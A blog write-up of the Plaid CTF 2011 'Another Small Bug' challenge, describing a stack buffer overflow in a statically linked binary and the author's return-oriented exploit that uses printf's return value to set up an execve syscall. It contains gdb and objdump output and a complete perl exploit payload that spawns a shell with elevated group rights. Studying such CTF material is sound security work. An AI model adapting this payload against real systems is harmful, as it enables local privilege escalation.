Thursday, April 28, 2011

Plaid CTF 2011#19 - Another Small Bug

This challenge is local stack based buffer overflow. The binary is static. It means that the libc shared object is not loaded, all needed libc functions are included in the binary. So we cannot use a trick that create a weird executable file name and jump to exec*() function in libc.

Because the NX bit in binary is disabled, the method I used in competition is brute forcing same as Leet More's writeup. But while talking in IRC, it seems the organizer did a mistake. The NX bit should be enabled. The StalkR's Blog has already posted the nice writeup if NX is enabled. I also tried it assuming NX is enabled (and effective :P) just for fun. Here is my solution.

Let see the code first. The main() function of this challenge is small. So I posted here.

int main(int argc, char **argv)
{
    char buffer[512];
    unsigned long len;
    if (argc != 2) {
        printf("...");
        exit(1);
    }
    len = strtoul(argv[1]);
    if (len <= 511) {
        if (log_error("..."))
            myexit();
    }
    fgets(buffer, len, stdin);
    puts(buffer);
    return 0;
}

At first time I looked, it seems not able to be exploited. When I checked inside log_error() function, it always fails because the log file does not exist. So we can put any length we want.

Because the binary is statically linked, so let check what libc functions are included in binary.

$ objdump -t exploitme  | grep .text
...
08048890 g     F .text  00000011 printf
08049fa8 g     F .text  00000043 memmove
...
08049abc g     F .text  0000000e mmap
...
0804823f g     F .text  00000034 __unified_syscall
...
08048230 g     F .text  00000007 mprotect

There are many interesting functions. But "__unified_syscall" is the most interesting for me. It looks like syscall() function in libc. Let look at it closer.

$ gdb ./exploitme
...
(gdb) b main
Breakpoint 1 at 0x804818a
(gdb) r
Starting program: /opt/pctf/z2/exploitme

Breakpoint 1, 0x0804818a in main ()
(gdb) x/10i __unified_syscall
0x804823f <__unified_syscall>:  movzbl %al,%eax
0x8048242 <__unified_syscall+3>:        push   %edi
0x8048243 <__unified_syscall+4>:        push   %esi
0x8048244 <__unified_syscall+5>:        push   %ebx
0x8048245 <__unified_syscall+6>:        mov    %esp,%edi
0x8048247 <__unified_syscall+8>:        mov    0x10(%edi),%ebx
0x804824a <__unified_syscall+11>:       mov    0x14(%edi),%ecx
0x804824d <__unified_syscall+14>:       mov    0x18(%edi),%edx
0x8048250 <__unified_syscall+17>:       mov    0x1c(%edi),%esi
0x8048253 <__unified_syscall+20>:       mov    0x20(%edi),%edi

The function moves arguments to ebx, ecx, edx, esi, edi respectively. Look like it is preparing for syscall. Check some existed libc function that matches the syscall.

(gdb) x/2i open
0x80489d0 <__libc_open>:        mov    $0x5,%al
0x80489d2 <__libc_open+2>:      jmp    0x804823f <__unified_syscall>

Yes, it is. The "__unified_syscall" is a syscall() function but we have to put syscall number in eax before calling it.

I want to call execve syscall (number 11) so all I have to prepare the arguments and set eax to 11. Preparing the arguments is easy because we can control the content in stack. How we set eax to 11?. Normally it is difficult to find "pop eax" gadget. To overcome this problem, I use printf() function. Because eax keeps the return value of function. And the return section in printf man page:

Upon successful return, these functions return the number of characters printed (not including the trailing '\0' used to end output to strings).

Just need to find a string that length is 11. Very easy.

(gdb) x/10s 0x0804a378
0x804a378:       "a"
0x804a37a:       "/home/z2/logs/assert.log"
0x804a393:       "ERROR: %s\n"
0x804a39e:       "%s requires one arguments.\n"
0x804a3ba:       ""
0x804a3bb:       ""
0x804a3bc:       "[assertion] len < sizeof(buffer)"
0x804a3dd:       "/dev/urandom"
0x804a3ea:       "\n"
0x804a3ec:       "(null)"

I use address 0x804a3de ("dev/urandom") for printf() and 0x804a378 ("a") for execve(). The address contains NULL is 0x804a444. Time to exploit it :).

z2_82@a5:~$ ln -s /bin/sh a
z2_82@a5:~$ (perl -e 'print "A"x516,"\x2f\x82\x04\x08"x16,"\x90\x88\x04\x08","\x3f\x82\x04\x08","\xde\xa3\x04\x08","\x78\xa3\x04\x08","\x44\xa4\x04\x08"x2';echo;cat) | /opt/pctf/z2/exploitme 700
AAAAAAAAAAAAAA...
id
uid=2081(z2_82) gid=1001(z2users) egid=1003(z2key) groups=1001(z2users)

Another fun ;)

2 comments:

  1. cool :) nice trick with printf, I thought you'll call strlen

    ReplyDelete
  2. strlen is not in binary, so printf is another choice. :)

    ReplyDelete